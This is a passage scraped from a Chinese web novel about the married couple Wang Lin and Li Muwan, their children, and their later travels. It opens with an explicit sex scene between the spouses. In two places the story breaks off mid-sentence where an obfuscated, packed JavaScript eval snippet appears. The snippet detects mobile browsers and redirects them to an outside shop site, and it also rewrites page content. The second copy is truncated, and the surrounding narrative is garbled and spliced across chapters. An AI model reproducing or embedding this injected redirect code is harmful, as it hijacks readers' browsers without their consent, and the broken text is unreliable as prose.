床榻摇着声音,偶尔细音传到窗外,“婉儿,喜欢这般吗?” 软舌探着莲花瓣,挑了挑,清莲绽开,挑得她忍不住轻颤。 “王林,别……”她几欲是收着腿。 却有一股力量蛮横地拨开她,继续探出莲花瓣里的清水。 动静大了。 烛火燃尽,麻木的唇瓣这才从莲蕊移开,沿着平坦的小腹而上,最终恋恋不忘地停在红唇边,吻着她。 又是一阵晕眩,他直起腰身,抬了抬脚腕,宽肩摆着她无处安放的腿。 浪潮冲撞而入,几近猛烈地拍着她。 指甲嵌入褥枕里,抓了一块褥角,仰着脖颈难以承受的眉峰,随着他低鸣的嘶吼,不断唤着他的名字。 “婉儿的腰,委实是细。”王林大掌握着腰肢,一遍遍摩挲着。 李慕婉喘着息,“你别。” 蝉鸣掩盖了喘/息,他似乎听不见,像那声音忽进忽出,一阵一阵的。 伴随着窗外的声响,子夜来临,矮榻乱成一团,被褥掉了一半在地上,褥枕东一个西一个,李慕婉横躺在矮榻,枕着他大腿。 王林指尖一遍遍轻抚过她轮廓,心满意足地望着她疲惫的面容。 已经成婚几年,彼此身上看不见岁月的痕迹,除去多了几分韵味,她还是同从前一般娇俏,王林忍不住俯身点缀着她,把身上最后一丝余热还给她。 蝉鸣声停了,屋内烛光熄灭,几声沉音隐约传出窗外,臂弯枕着的人睡得熟,翌日她起不来,是王林送的王依依去的私塾。 73.嬉闹 “为什么娘亲今日不送依依呢?”王林牵着她小手,从宅子走到私塾一柱香的时间。 “娘亲没起呢。”王林给她提着小书箱。 “娘亲平日卯时就起了。”王依依小脸充满疑问,因着早起眉头并未舒展开,似还有困意。 “嗯,娘亲累了,”王林淡淡说,“今日爹爹送你去私塾,怎么依依不想爹爹送?” “那倒不是,”她思索着,“是因为爹爹跟娘亲说悄悄话,娘亲才没睡好吗?” 王林漾起唇笑了笑,“依依今日在私塾也要乖乖听夫子的话。” “夫子教的文章,依依都会背了。”她似乎不满意。 “那文章中所蕴含的道理,依依可都感悟了?”王林耐心说。 见她不是很明白,“背文章不难,难的是要悟出文章里所要讲述的内容和传递的信息是什么?” “依依不要觉着自己背完书便是完成夫子的功课,”蝴蝶小发髻一荡一荡的,“上学专心听夫子讲学,若有不明白的,回来爹爹替你解惑,可好?” “好。”到了私塾门口,王林停下脚步,把书箱给她背好,嘱咐道,“去吧,别跟其他同窗起争执,记得爹爹说的话吗?” “记得。”她意会说,“人若犯我……” 王林露出笑,“进去吧,下学后爹爹来接你。” “爹爹能不能带娘亲一块来。”王依依说。 “好。”王林应下她,她这才安心往私塾里去。 昏暮前,许立国在药铺看店,王林夫妻两人带着王思礼一块到私塾等王依依下学,她在私塾里人缘不错,脑子灵活,一副大姐姐的气势,把同窗都唬得一愣一愣的。 刚去私塾那会儿,有个年长几岁的大个子见她长得可爱,总爱欺负她玩儿,王依依性子直,许立国来接她下学时便把这事告诉了他。 许立国闻言二话不说,带着王依依去堵那人的路,他扛着一根木棒,吊儿郎当模样倚在小巷子的墙头,王依依见状有模有样学着他,也不知哪捡了根木棒,插着小腰。 “许立国叔叔,这样能行吗?”她还有些担心。 “小主子放心,这几个臭小子敢在私塾欺负你,”他肩头还背着王依依擦破的书箱,“这口气,我许立国替你出了。” “那你下手轻点,别把人打死了。”王依依若有其事道。 许立国嘴角抽搐几下,他哪里会把人打死了,顶多不过是教训一下。 那几个小子每回上学都要经过此处,见着王依依摇人堵道,自知打不过人家,灰溜溜便走了。 只不过翌日下学又堵了王依依的道,王依依把这事给许立国说了,许立国霎时明白这些小子背后有人撑着。 随即带着王依依又去堵了一次,果然,这一次还带了几个混混,年岁倒是有十三四岁,还都带了家伙事。 只可惜了,接不过许立国三招,几人连连求饶,王依依在一旁看戏般鼓掌,许立国踩着其中一人的手,威胁说:“这是我小主子,再让我知道你们在私塾里欺负她,见一次打你们一次。” 几人灰溜溜跑远了,许立国拍了拍手心,朝王依依挑眉一笑,“小主子,如何?” “许立国叔叔厉害。”王依依竖起拇指,担忧一闪而过。 “可是,爹爹若是知道了……”王依依揪着手指,“会不会责怪依依啊。” 许立国倒是不担心,拎起书箱便往药铺方向回,轻飘飘一句,“不会,你爹护短。” “若那些人胆敢寻上门,你爹估计还得再揍他们一顿呢。” 王依依开怀大笑,蹦着步子到他前边,“许立国叔叔,依依要吃糖葫芦。” “小主子,你爹娘不让吃。”他为难着。 王依依撒娇说:“许立国叔叔,好叔叔,就买吧,咱们吃完再回,爹娘不就不知道了?” “这……” 王依依一副受了委屈的表情,眼眶转着水珠,眼泪说来就来,她指了指自己的衣袖,“我衣裳都被人扯破了,许立国叔叔,买吧。” 许立国无奈,只好买了一串,带着她坐在街边小贩的椅子上,吃完了糖葫芦她便心满意足开开心心地回家。 往后在私塾那几人再不敢欺负她,只是回到家中李慕婉看着她换下的衣袖擦破了免不得要问。 王依依一本正经说是与同窗闹着玩时不小心撕破了。李慕婉嘱咐几句又检查她身上有无伤势后才为此作罢。 每回王依依放假了,便拉着许立国带她去戏楼玩,大牛要帮家里干活,去的次数少。但是王依依听话本回来都会到铁匠铺子讲给大牛听。 王思礼还小,总是跟不上脚步,许立国只能一手抱着王思礼,一手牵着王依依。 “许立国叔叔,爹爹说你从前是江湖中人,话本上都说,行走江湖的都是侠客,武艺高深,能抵千军万马,可是真的?”王依依仰头望着他,眼里充满好奇。 许立国嘴角抽搐,脑子浮现出一人,“小主子说的是你爹爹吧?”他也纳闷,王林不过一介书生,到底哪学来的一身武术,只身把丹青寨和剿匪军队玩弄鼓掌,还能全身而退,又能在众多护卫眼下手刃燕王。 当初好在他手下留情了,不若自己怕是小命难保。 “行走江湖也没什么意思,”许立国望着街道的人流,“长乐县挺好的。” “许立国叔叔也喜欢安定?”王依依动着小脑瓜,说,“祖父祖母常说,平安喜乐,便是人生最大幸事,这也是爹娘常说的话。” 话本里说的她悟得快。 “姐姐,糖。”王思礼指了指路过的小贩。 王依依扯着许立国衣袖,“买吗?” 许立国瞧着王思礼那可爱的模样,“买,但是先说好,回去不许跟你们爹娘说,不然主子又得训我。” 王依依露出笑,“下次也带大牛一块出来吧,曾大伯要大牛跟着学打铁,大牛最近都忙着呢,曾大伯常把子承父业挂在嘴里。” “爹爹继承了祖父的木雕手艺,算是子承父业,那以后思礼也要学木雕么?” 王依依偶尔下学后搬张小凳坐在门口揽客,便能听得曾父在铺子前打铁念叨。 “姐姐,我要考功名的,爹爹教我念书。”王思礼小手抓了块糖,有模有样的。 “好,小麻袋好好念书,祖父祖母说念书会聪明,长大后就不用姐姐保护你了。”糖霜蹭了满嘴都是,王依依扯起衣袖替他擦了擦。 “等思礼长大,保护姐姐。”他拿了一块塞入王依依口中。 “那晚上姐姐给你讲故事吧。”两人挤着一张竹椅嘴里嚼着糖糕,晃着小腿,望着落日前街道赶路的行人。 许立国撑着下巴,百无聊赖地等着姐弟两把糖吃完。 “许立国叔叔,上次你揍的那几个人,他们在私塾里见着我就躲。”王依依看向他。 “那不挺好的,这街道上,谁还敢欺负你们俩?跟许立国叔叔说,我替你们出头。” “可夫子问我怎么回事,你猜我怎么说的?”王依依扬起笑。 “说什么?”许立国懒洋洋应着她。 “我说不知道啊,”她小脸一本正经,“我让夫子自己去问他们,他们支支吾吾也不敢说。” 许立国眸子一沉,她这小主子机灵着呢,他有时候都哄不了她了。 街道夜市快开了,几人才走回铺子。 王林和李慕婉各自忙着铺子的事,一时半会忘了时辰。药铺后院养了些花草,王林搭了个鸡圈,里边养了几只鸡。 李慕婉怕鸡,平日都是他来喂的,每回王依依和王思礼都要跟着一块去,小孩对小动物总是充满好奇。 王林便会在孩子们面前说起娘亲以往的趣事,王依依捂着嘴一脸不可置信,娘亲居然还会被一只鸡堵在房里不敢出来。 她胆子大,盯着正在吃食的鸡,快狠准地擒住了。 鸡挣扎的力气大,扑腾中掉了几根毛,吹到王思礼衣袖上,他蹲着身子围观,王依依手脱了力,鸡胡乱窜着,往王思礼脸上蹬了一爪子。 哭声从后院传到药堂,李慕婉停了拨算珠的动作,王林抱着他哄了好一会儿,王思礼不哭了。 从后院出来时,水雾还在眼眶打着转,鼻头红红的,见着娘亲张开小手要她抱。 “怎么了?”李慕婉眼神寻问起王林。 王依依在他身后探出来,“娘亲,小花把思礼的脸抓疼了。” 王林点点头。 小花是她给取的名字。 看着那软糯白皙的小脸,印着个浅浅的爪子印,李慕婉想起儿时,也经历过这事,故而才这么怕鸡的。 往后王林再喂鸡,王思礼死活不愿意去。 他不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335224|144902||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 爱哭的性子,许是当真吓着了。在王家村时,他跟王依依和大头在村子里玩,跑在田埂上,他人小,平衡性不好,几次从田埂栽进田地里,糊了满脸泥也没见他哭,还是王依依牵着回来的。 周英素每回在院墙外喊他们时,王依依先跑着回,王思礼跟在后头,周英素眼见他那小人影跑着跑着就没了,原是掉田里去了。 *** 铺子若是忙起来,他们回王家村的次数便少了,不过回一次也能待上好几日。 晚饭周英素蒸了些地瓜拿到堂屋吃,一家子整整齐齐地围着长木桌,地瓜还冒着热气。 王依依手里拿着祖父刚剥好的地瓜,小口小口吃着。李慕婉给王思礼也剥了个小的,王思礼刚接到手里。 王林倾身寻问他,“思礼,给爹爹咬一口,可好?” 王思礼大气,毫无犹豫地给了,谁料王林咬下一大口,整根地瓜就只剩下一丁点尾巴。 王思礼盯着手里瞬间消失的地瓜许久,又看看嘴巴嚼动的王林,眼见就要哭了,李慕婉忍不住推了下王林肩头,“阿兄,你又逗他玩儿。” 王依依见状警惕地拿着手里的地瓜悄无声息跑到祖父跟前,钻进怀里去,继续安稳地吃。 王思礼想哭又没哭,睁着眼珠子委屈巴巴的举着手里的余物,望着李慕婉,“娘亲……” 李慕婉又剥了一个递给他,“吃这个,爹爹与你闹着玩的,不哭。” 王林还跟他要,王思礼思虑须臾,努力往篮子里够,拿了一条未剥的推到王林跟前,“给爹爹。” 随即学着王依依,钻进祖母怀里,没给他那根剥好的地瓜。 几人笑着这可爱模样,周英素抱着他,“思礼学聪明了。” 王林无奈,也望着李慕婉,“婉儿,我的呢?” “剥好了。”李慕婉递给他,王林接过却没吃,而是往她嘴边递。 爹娘和孩子们都在,李慕婉避开没咬,王依依倚靠在祖父怀里,看好戏地揶揄二人,“爹爹,娘亲不好意思了。” “要不,你们回房里喂呗。” 周英素和王天水跟着笑。 “依依。”李慕婉一脸正肃,面颊红透了。 王林宠溺地望着她,没有让她躲,“咬一口。” 李慕婉侧过身,听话地咬下一小口,“可以了。” “爹爹真的是。”王依依叹一口气。 “怎么了?”王林正回身,面颊带着暖笑,“依依也要爹爹喂?” 王依依别开脸,不理他,“依依要祖父喂。” “思礼要祖母喂。”王思礼也要学。 因着两个小孩玩闹,这顿饭倒是吃了许久。 谢三婶家拿来的地瓜多,家里放着吃不完,有时候换着法子做。 周英素煮饭时,两小人喜欢守在灶头烤火,争着要给祖母添柴,脸蹭得黑乎乎的。也不仅仅是为了烤火,守着灶头,还有烤地瓜吃。 闻着香味,两人肚子咕咕叫,咽着口水等祖母剥掉烤糊的皮。李慕婉进来时,见着两个小孩排排坐,手里一人捧着一根地瓜,小脸和小手黑漆漆的。 两人一脸无辜地仰头望着她,“娘亲。” 李慕婉应了一声,扭头就出去了。 *** 两人一从县城回来就野得很,整日不是在院里疯玩,就跑村里找大头和其他小孩玩,这会是不怕狗了,还能抱着谢三婶家刚下的狗崽睡。 虽说不怕狗,又被大鹅追,王林和李慕婉腿上各自趴了一个,脱下裤子的屁股红扑扑的,大鹅给啄的。 两个人委屈死了,周英素从鸡舍出来,见着两人趴在在爹娘身上,“怎的脱了裤子啊,别着凉了。” “娘,依依和思礼被人家的鹅啄了。”李慕婉拍着王依依腚。 “钱大娘家的吧,下次出去玩绕着点走。” “还疼吗?”王林捏捏王思礼的脸蛋。疼自然还是疼的,这会他又怕鸡又怕鹅。 “疼,爹爹吹吹。”王思礼趴着钻在他腰侧,小手攥紧衣角。 “我去拿药来。”李慕婉抱起王依依起身入了房间。 “爹爹,疼……”王思礼又撒娇。 “知道了。”王林吹了几下,风凉凉的,李慕婉拿了药,涂抹后红痕消了些,两人吃饭时也不乐意坐,就这么站着吃,屁股还疼着呢。 74.游历 李慕婉发觉随着两个孩子长大,王林越发喜爱逗他们玩,幼稚得很。 王依依和王思礼喜欢扑在院里的绿草上玩,王天水新做了能跑的木车。 轮子上关卡设计的巧妙,只要转动螺旋,木车便有足够的动力跑出小段路,王依依玩得停不下来,两人各趴一边,木车从王依依这头跑到王思礼那头。 王林收了草药送回药房里,从檐下走过时,状若无事地弯腰拿了跑到半道的小木车就走。 两人眼对眼懵了片刻,还以为爹爹要跟着一块玩,谁料爹爹走远了,这才意识到爹爹是把玩具拿走了。 王依依赶忙起身,王思礼也撑着起,追上去,可房门关上了。 “爹爹,还我小木车。”王依依立在门外喊。 王思礼也跟着喊,“爹爹,小木车。” 长木桌上放了不少玩具,李慕婉在屏风后换衣裳,“阿兄,依依思礼闹什么呢?” 王林唇角弯起,朝屏风扫了眼,“没什么。” 李慕婉心有感知,说:“你别又把他们惹哭了,你哄啊。” 她穿好衣裳从屏风后走出来,走近王林。 门外的喊声演变成哭声,无人作答,王依依和王思礼坐在地上哭。 “你瞧,又哭了。”李慕婉撑在他肩头,靠近他,呼吸绕着他耳侧。 王林侧头脸贴过去,碰上温柔的唇瓣,起身去开门。 “爹爹抢人家玩具,我要告祖母。”王依依揉着眼睛,听着开门的动静。 王林隔着距离,蹲下身,手撑在膝盖歪头与二人对话,“你二人在那草地躺多久了?” 李慕婉倚在窗台,双手拖着脸,看好戏的姿势。 “爹爹,还给我,你又不喜欢玩,为何要抢。”王依依扎在地上,眸子委屈地瞪着他。 “这个时辰,你们该谁午觉了。”王林伸手要去扶她去来,她欻一下别过身子,没让他碰。 看来是真委屈了。 李慕婉见状不忍笑出声,王依依哭诉道,“娘亲,爹爹又欺负我们。” “依依乖乖起来,娘亲让爹爹把小木车还给你们,你们就去睡午觉,醒后再玩,好不好?”李慕婉柔声道。 “好。”王依依盯着王林手里转着的小木车,等着他还回来。 “依依起来,爹爹再还小木车。”白发落在胸前。 王依依自个乖乖起身拍了拍屁股,又扶起一旁的小思礼。 “爹爹,可能还给我们了?”她伸出手去要。 王林擦了一把泪,小木车还她了。 “哼。”王依依嘟嘴警惕地睨他一眼。绕过他进了屋内,直奔李慕婉去。 王林笑笑,倚回门框,看着李慕婉给俩小孩换了衣裳,乖乖爬上矮榻睡。 孩子们睡着后,两人才能安静地待一会儿,她靠着王林肩头,“依依和思礼回来王家村便玩得疯,也野性了不少。” 王林搂过她腰身,“他们愿意出去玩也好,不若像我,长大了性子闷,也不是好事。” “嗯?”李慕婉又往他贴近一些,面颊蹭着他颈侧,暖热的,淡淡的提神香,“阿兄性子不闷,你爱逗孩子们玩,我觉着阿兄也变了。” “如何又变了?”王林不解。 李慕婉不说话,就这么贴着他,王林受着力,也不作声,任她闹。 他摆脸端着时孩子们害怕,可他也会逗他们玩儿,弄哭了就哄,哄不好先晾着,他耐心过人,等哭好了再哄。 李慕婉方觉,他成了父亲后,倒更像个孩子了,与初识那会,变了许多。 “爹娘酿了果子酒,酒味不重,思礼前两日贪口,一个没留意自己喝了小一碗。”李慕婉想起几日前的事,“昏昏地躺在堂屋时,我都吓坏了。” “婉儿把孩子照顾的很好,是我没留意,只以为他是困了。”王林宽慰她。 “依依如今可没那么好哄了,阿兄往后逗她时,可得把好度。”李慕婉声音懒洋洋的,也只有在他这,她才会这般毫无顾忌的撒娇。 怀里的人软软的,王林另一只手环上,圈起她腿,李慕婉整个身子到了他腿上。 “我小时候倒是没像他们那么疯,总归孩子开心,我跟婉儿也开心。”他轻点了唇。 “我小时候也没玩过这些,倒是羡慕他们了。”李慕婉说,“谢三婶家的田里新放了鱼苗,依依和思礼去探热闹,抓着鱼,又想玩又害怕,还要哭。” 她忍俊不禁,想起那画面便想笑,王林脑子里却另有他人,“婉儿第一次抓鱼时,可也是这般的?” “哪有?”李慕婉不承认。 “是吗?”王林眼神瞟着书架,似乎寻什么,“入京时,婉儿给我的家书,我还留着呢,我找找?” “你……”李慕婉生气了,“放我下来。” “我这会知道依依爱生气,性子是随了谁。”王林偏不放,抱得更紧了,俯身下颚抵着她胸口,轻轻碾了两下。 有时也不只夫妻俩会训孩子,周英素万般不舍,疼爱孙儿,也会有火炸的时候。 天气热了,孩子贪凉,便在院子里舀水玩,王依依泼着弟弟,弟弟也没示弱,泼回去了。 身上挂着水流,头发也打湿了,玩得不亦乐乎,周英素刚从鸡舍回来,一不留神,又要造反,免不得要训两句,抓到檐下面壁思过。 王林和李慕婉撑在窗台,看了好一会儿,没当回事,继续躺回矮榻窝在一块看书,王林撑着半身给她靠,李慕婉枕在臂弯里,“方才看到哪了?” 王林一页一页翻着书,“这。” 可周英素到底没王林夫妻当父母的狠心,过没多时便叫回屋给换了衣裳,西厢房门关着,她没打扰二人,心照不宣的顾起孩子。 重新换了衣裳的两人跟着祖母去鸡舍喂鸡,母鸡刚孵出一窝鸡崽,跑出了鸡舍。王依依帮祖母忙,一手一只,踹怀里,王思礼站得远远的。 抓完鸡回来,周英素又拿了叠瓜子,让两人坐院里竹几上,木墩子不高,一人一边,还翘起二郎腿,有模有样的。 夫妻俩从西厢房出来,往白梅树下去,盯着惬意的姐弟俩。 王依依刚磕好一个瓜子,“爹爹娘亲,你们说完悄悄话了?” 王林拍了拍王依依的膝盖,“哪学得?” “村口学的。”她倒是回的快。 “跟你娘亲一样,被那些婶子带坏了。”王林搂着李慕婉坐在一旁的竹椅上。 “那若我以后也成了那些婶子,阿兄是不是就不喜欢婉儿了。”李慕婉歪头一笑。 “那我就跟着婉儿一块去村口坐着,也说村里闲话?可好?”王林吊着坏笑。 李慕婉拳头往他肩甲落了一下。 *** 王思礼虽说年纪小些,认得字却全,王林与私塾商议后,私塾答应让王思礼去上课。 王林接孩子下学时,私塾的孩子们几乎都出来了,唯独不见王思礼和王依依。 王依依在玩着手里的木蜻蜓,耐心等着王思礼,他被几个人女同窗围着借功课看。 她不催,也不帮忙,就静静等着,故而出了私塾时,已快天黑了。 回去后李慕婉特意问了问,“怎得今日回来得那么晚,夫子耽误下学了?” 王林放了两人的书箱,同李慕婉说:“思礼要教同窗讲学呢,故而耽误了时辰。” “是嘛,”李慕婉蹲下身问他,“同窗怎得不问夫子,偏要问思礼?” “那些人喜欢思礼长得好看,念书厉害,自然就围着他了。”王依依小手捧着茶盏,渴死她了。 李慕婉轻笑,他的小模样是长得俊俏,不难怪会被同窗喜欢的。 这点她倒是深有体会,从前在书院也是这般受欢迎,那些同窗少年,总要寻着法的来与她说话,惹她留意。 “那爹爹岂不是等了许久。”李慕婉看向王林。 “若是真心请教思礼的,思礼如实解惑没有问题,可若是以此为借口,生出旁的心思,思礼该拒绝便拒绝,无需有愧疚之心。”拖泥带水的性格可不好,王林不喜欢。 王思礼很听王林的教诲,忙点头,“爹爹,思礼知道了。” “婉儿从前在书院,也是这般受欢迎?”王林眸子散出一丝邪魅。 完了,这是冲她来的,李慕婉忙转身,避开话题不谈,却被他身影挡下。 “婉儿还没回我的话。”王林把她整个身躯遮住了,王依依只能看见娘亲露出来的裙摆,王思礼仰着头看爹娘。 “爹爹,娘亲?”他懵懂地唤着。 王依依早就见怪不怪了,跳下木墩子,拉着王思礼出去玩,“思礼,走,咱们去找大牛玩。” 王思礼原本还想看书,又被拉走了。 “婉儿在百松书院时,很招同窗喜欢吧,”王林扣紧她后腰,“我今日去接思礼,见着那些孩子围着他,他很无奈,又不懂得拒绝。” “婉儿也是这般的?” “阿兄,你在说什么呢?”李慕婉望着铺子门外,这个时辰都要打烊了,客人少。 “我说,我吃婉儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李奇庆常揶揄夫妻二人,是否当真服用了那驻颜丹才永葆容颜的,李慕婉只是笑笑不作声。 “你拆开看看。”李奇庆手里腾不出空,王依依拆了信封,念给他听。 王思礼的信中提及了京城任职一事,又说了些关于商人之策,王依依很快捕捉到信息,“舅舅,咱们去京城一趟吧。” “去京城?” “对啊。”王依依说,“思礼在御前向皇帝请了恩,允他调查外祖旧案,平反了李家冤情,陛下撤回娘亲和舅舅不得入京的旨意,您如今可自由出入京城,舅舅怕什么?” “去京城做什么呢?”李奇庆心神恍惚呢喃着,思绪繁杂。 “谈生意啊。”王依依双手撑着下巴,盯着似乎忙碌的李奇庆,只觉得他在掩饰什么。 “舅舅,你怎么了?”王依依打量着他,他不是这般犹豫不决之人。 “无事,你爹娘远游何时回来?”李奇庆岔开话题。 王依依撑起身,“爹娘去瀛洲游历了,前阵子回的信上说爹爹在那讲学,还要月余就回来,也不知呢。” “不是说陪婉儿去游历,怎么又讲学了?”李奇庆抓着药单。 “爹爹从前不愿意接外地的讲学邀约,是因为放不下娘亲,”王依依说,“可眼下娘亲在爹爹身边,爹爹自然会愿意接受邀约的。” 这些年他在长乐县不少文人学子慕名前来与王林讨教,大儒的名号几乎传便赵国。 “临州那件事以后,给你爹造成的伤痛是深入心脉的,”李奇庆一副明了的样子,“自你们从燕州回来,此后,你爹娘就从未分离过,去哪都得黏在一块。” “爹爹讲学时,娘亲就坐在其边上,”王依依说,“总归我是悟不出来爹爹所讲的道,娘亲就能听懂。” “他们是心灵相契的伴侣。”李奇庆目含欣慰,又透出一股羡慕。 王依依帮忙摊着单子,习以为常的语气,“娘亲也就无意说了句瀛洲的海货鲜甜,爹爹便连夜寻了地图,计划游历路线,只留了张字条给我,叫我照看好祖父祖母。” “你爹娘倒是会享乐啊。”李奇庆哭笑不得,这倒像是王林能做出来的。 王依依跟着他学经商,大多时候都住在镇子上,王林夫妻二人在外游历,她便搬回竹林小院长住,照顾祖父母。 两人寄了许多瀛洲物产回来,王依依望着铺子堆叠的物产,她每日从清平镇往来王家村,前阵子刚从临州选了匹千里马,从永陵港上的岸,有了马倒也不耽误路程。 75、旧怨 王思礼入京赶考前一夜,父子俩在白梅树下谈了一晚,王林一口接一口的清酒入喉,赏着月色,深眸却装着西厢房窗台下的李慕婉。王思礼在父亲眼中瞧见对母亲满满的爱意,忍不住说:“爹爹,孩儿若是去了京城,往后就不常见您和娘亲了,还有阿姐,祖父祖母,舅舅他们。”王林似乎有所感同身受,追忆往事,“当初爹爹入京赶考也如你一般不舍,可我知道爹娘会等我回来,有人会等我回来。”“你既选择仕途之路,那就坚守你的决定,爹娘会在竹林小院等你回来。”王林手臂搭着他肩头,他个子随了王林。“爹爹舍得孩儿吗?”王思礼的学问大多来源于王林,可他也有自己独特的见解,他的天赋不比王林差。 自然会念着的。”王林满限柔和,两人年纪看着不过兄长模样,“以前参 入京时,你祖父祖母也舍不得,爹娘说即便没有考上也没关系,路路实实回来,当时的我只想争-口气,势必要取得功名,不负爹娘多年养育之思。”王思礼疑惑地看着他,“可是爹爹还是留在了王家村,以爹爹的才学,怎会没有取得功名呢?” “爹爹不求你大富大贵,只是有一事,若思礼在殿前取得功名,可否答应爹爹一事?”王林蓦然正肃,岔了话题,王思礼显少见他这般。“爹爹于我,何必要这般见外,您的事便是孩儿的事,孩儿自当竭尽全力。”王思礼道。 王林抬住他手腕,目光又落到西厢房的人影里。 “你娘亲从前也是京城世家之女,只因家道中落才流落王家村。”王林缓缓道。 此事王思礼听过李奇庆念过一两句,倒是有知道一些。 “李家当初蒙冤受狱,本是被有心之人所利,你娘亲和舅舅这些年因背负沉冤而不得入京。若你有朝一日为官,爹爹唯一所愿,便是你能替娘亲家族洗刷冤屈。” 这是他这些年来一直藏着的一件事,从临州遇见李元朗,听得他父女二人的话,他这才明白当年李家入狱前因后果,为此一直记着。 李家父女死在那场山崩中,虽算替她家族复了仇,可李家的冤屈仍在,李慕婉虽从未提及,他自然知晓那是钉在李家兄妹身上的一根刺。 王思礼眉心凝了须臾,随即双膝跪地,叩了一首,承诺道,“爹爹放心,孩儿定会替外祖家平反冤屈。” “还有一事。”王林声音沉闷。 “孩儿知道,不要与娘亲说,此事是父子之约,”王思礼扬起笑,“爹爹,孩儿可猜中您的心思了?” 王林摇了摇头,“你跟你阿姐一样,打小就聪慧,也懂得察言观色。” 他倒是不担心王思礼入京后会吃亏,王林眉心舒展,眼尾挑起,“待你入京,爹爹让许立国同你随行,京城不比清平镇,多一人在你身侧,爹娘和祖父母能安心些。”王思礼颔首,李慕婉插好了花,从檐下走过来,残影映着轮廓,父子二人视线落在她身上。 王思礼印象中,娘亲大多都足忙碌的。她很在意爹爹的情绪,怕爹爹不开心,会为祖父祖母的身体康健翻阅医书古籍,更会担忧自己与姐姐的温饱冷暖,至于自己与姐姐的选择,她从未干预过。他暗自下定决定,定然会争气考取功名,替外祖家申冤,平了娘亲与舅舅多年的不公。 *** 瀛洲海风徐过客栈,街道下人潮拥挤,大多是外乡来此处游玩的行客。 “此次出来已有数月,婉儿可玩尽兴了?”客栈一处厢房,李慕婉手臂枕着被褥,趴着脑袋仰看他,王林爱怜地抚摸着她眉宇,几缕碎发耷拉在额前。她语气泛着累意,瀛洲游玩了几月,属实把她累着了,她扯了一缕王林的白发,揪着玩,“尽兴,有夫君陪着,自然尽兴。”王林宠溺地轻笑一声,“依依来了书信,说要带着兄长入京一趟。” “自打陛下赦免我和哥哥的入京禁令,我总觉得哥哥还是想回去走一趟的。”李慕婉装着事说,“依依一直想把商路打入京城,阿兄,你觉得如何?” “思礼走仕途之路,为国献策献计,依依沉迷经商之道,”王林想起女儿常挂在口中的话,“她一心致力成为皇商,去京城一趟未必是坏事,孩子们长大了,有自己的路要走,婉儿不必为他们操心。” “话虽如此,阿兄成家后爹娘不还照样担忧,天下父母心都是一样的,”李慕婉撑起身,靠着他,“不过有阿兄在身边陪着,也还好。” 王林笔直的身躯微微俯身,下颚抵着她额心,“我亦如此。”“歇息一日,明日启程回清平镇,婉儿,坐水路吗?”王林轻声细语道。李慕婉抱着他手臂,几乎整个人坐在他身躯之上,就这样被他围着。 “这个季节水路沿途景致不错,走得虽说没有陆路快,但是景色宜人。”李慕婉蹭着他,身上淡淡的香味浸入他鼻息。王林阖眼享受,“那婉儿是答应了,我来安排。” 李慕婉伏在他肩甲处,气息平稳,缓缓失了力道,王林拖着重量,叠起褥枕,让她半躺着,睡颜清浅。他就这么肆无忌惮地端详她,未经岁月洗礼的容颜,俨然初见时那么娇俏,王林心潮澎湃,朝水润的红唇落下一吻。李慕婉微动了下,王林触着她眉心,手臂环过她身躯,贴着她撑手躺下,久久注视着怀里之人。 *** 二人从瀛洲乘船回清平镇耗时一个多月,王依依和李奇庆候在永陵港半日,终于见着瀛洲来的商船。“爹爹,娘亲。”王依依挥动手臂临着人群呼喊,不少卸货的水手在甲板上穿梭而过,王林紧紧护着身侧的她。王依依侧头偏向一旁的李奇庆,“舅舅,你瞧我爹,偏爱我娘,恨不得含在口中,捧在心里。”“世间若是能寻得像我爹这样专情的男子,我王依依定会待他百般好。”她双手叠胸,灵动跃然而起。“哼,清平镇的青年才俊,富商公子们哪个不倾心于你,你可都正眼瞧了。”李奇庆忍不住揶揄她。十八岁的她早已出落得亭亭玉立,不少才俊仰慕她的容颜和才学。从外州而来,借着与她谈生意的名头,实则却为的是她这个人。 “那怎么办,我就是瞧不上嘛。”王依依还怪委屈。 “你呀,跟你娘年轻时一模一样,众星捧月不自知。” “那我娘亲怎得就看上爹爹了?”王依依嘴快,说罢后又觉不对,改口道,“爹爹与娘亲甚是般配。”“可这世上哪那么多神仙眷侣啊,若都能像爹娘一样,得去哪寻个与自己心灵相通的伴侣,我不行。”“舅舅不也是不行吗?”王依依说,“故而这些年,还独身一人。” “那倒是。”李奇庆被她噎得没话说,“舅舅没有良缘,但见着你娘亲幸福,我这当兄长的,便已足矣。”王依依看了他一眼,若有所思问:“舅舅,你那还有驻颜丹丹方吗?” “做什么?” “娘亲用了你的驻颜丹,还是那么年轻漂亮,依依也想要。”她抱着李奇庆手臂撒娇。 “你这个年纪还没长开呢,怎得就要驻颜丹了?”“舅舅……”一声舅舅尾音转了好几个弯,李奇庆拿她没办法。“给你娘亲了,你寻她要去。” 王依依松了手,“哦。” “对了舅舅,二十年前,清平镇由四大家族掌管财路,后来一夜之间便只剩下三个家族。”王依依想起老工人近日说的陈年旧事,“舅舅,可有听闻清平镇二十年前有家大族被灭的传间?”商船还未停靠好,甲板上的李慕婉和王林一同瞧见码头上恭候已久的二人。“略有耳闻。”李奇庆回忆起那场惊天动地的抢婚。 “听闻那家人强娶了一位有婚约的女子,那抢婚之人一路杀伐,屠戮满门,无人生还。”王依依五官透着好奇,“原还以为是那些话本先生为赚茶钱编造的故事呢。”“或许吧。”李奇庆浅浅一笑,“舅舅也不太清楚。”她又朝船上二人招手,“爹爹这白发,立在人群之中,还怪显眼的。” 